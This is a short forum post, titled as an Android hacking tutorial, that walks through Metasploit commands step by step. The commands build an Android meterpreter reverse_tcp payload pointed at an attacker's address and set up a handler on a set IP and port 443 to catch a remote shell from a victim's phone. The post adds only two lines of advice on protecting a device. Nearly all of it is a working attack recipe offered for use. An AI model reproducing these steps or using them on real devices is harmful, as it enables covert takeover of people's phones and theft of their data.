Thread: [Android Hacking Tutorial \(Required Linux knowledge and skills\)](#)

**Juifer** - March 16, 2021, 12:16 pm

Requirements:

Kali Linux having Metasploit framework

Android device

Steps for exploiting

Step 1

```
msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address>  
LPORT=<port_to_receive_connection>
```

Step 2

use exploit/multi/handler

→ we will use Metasploit handler

Step 3

```
set payload android/meterpreter/reverse_tcp
```

→ make sure the payload is the same with step 2

Step 4

```
set lhost 192.168.8.94
```

→ Attacker IP address

Step 5

```
set lport 443
```

→ Port to listen the reverse connection

Step 6

```
exploit
```

→ start to listen incoming connection

Now your session is created, simply type "help" command on your terminal and get as much

information as you can.

How to secure your device from being compromised :

Never install refer apps and visit refer links

Don't install from unknown sources.
